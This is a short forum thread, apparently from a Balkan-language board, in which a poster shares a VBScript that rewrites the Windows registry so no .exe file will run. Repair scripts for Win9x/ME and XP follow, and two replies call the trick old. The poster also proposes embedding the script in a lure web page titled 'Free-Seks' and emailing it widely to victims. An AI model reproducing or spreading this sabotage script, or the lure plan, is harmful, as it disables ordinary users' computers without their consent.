Kako zeznuti eksekuciju EXE-fajlova pod bilokojem Windowsom ;-)

Pogledajte sledece VBS-kodove:

Kod1 - Zeznuti pokretanje EXE-fajlova pod bilokojem Windowsem:

Dim WSHShell
Set WSHShell = WScript.CreateObject("WScript.Shell")

WSHShell.RegWrite "HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command\", "c:\con\con"


Sub Welcome()

Dim intDoIt


intDoIt = MsgBox(L_Welcome_MsgBox_Message_Text, vbOKCancel + vbInformation, _
L_Welcome_MsgBox_Title_Text )

If intDoIt = vbCancel Then

WScript.Quit
End If

End Sub
---------------

Popravka za zeznuti Win9x/ME:

Dim WSHShell
Set WSHShell = WScript.CreateObject("WScript.Shell")

WSHShell.RegWrite "HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command\", ""

Sub Welcome()
Dim intDoIt

intDoIt = MsgBox(L_Welcome_MsgBox_Message_Text, _
vbOKCancel + vbInformation, _
L_Welcome_MsgBox_Title_Text )
If intDoIt = vbCancel Then
WScript.Quit
End If
End Sub

Popravka za zeznuti Windows XP:

Dim WSHShell
Set WSHShell = WScript.CreateObject("WScript.Shell")

WSHShell.RegWrite "HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command\", "%1 %2"

Sub Welcome()
Dim intDoIt

intDoIt = MsgBox(L_Welcome_MsgBox_Message_Text, _
vbOKCancel + vbInformation, _
L_Welcome_MsgBox_Title_Text )
If intDoIt = vbCancel Then
WScript.Quit
End If
End Sub


..................

Tako lako je zeznuti Winblows. Sreca da koristim Macintosh (samo ponekad Windows i ponekad Linuks)

Sada zamisli, da se taj kod ugradi u web-stranicu, i ta stranica se nazove Free-Seks i posalje puno ljudima preko email-a: BOOOOM!

Potpis

http://www.macplanet.q.fm

Znaci dobili smo toplu vodu !!!



to je staro batko ....

jedino mozda ovo za xp ... al cemu prica o tome vise !!!

meni je red worm 100 X gori propust od toga ...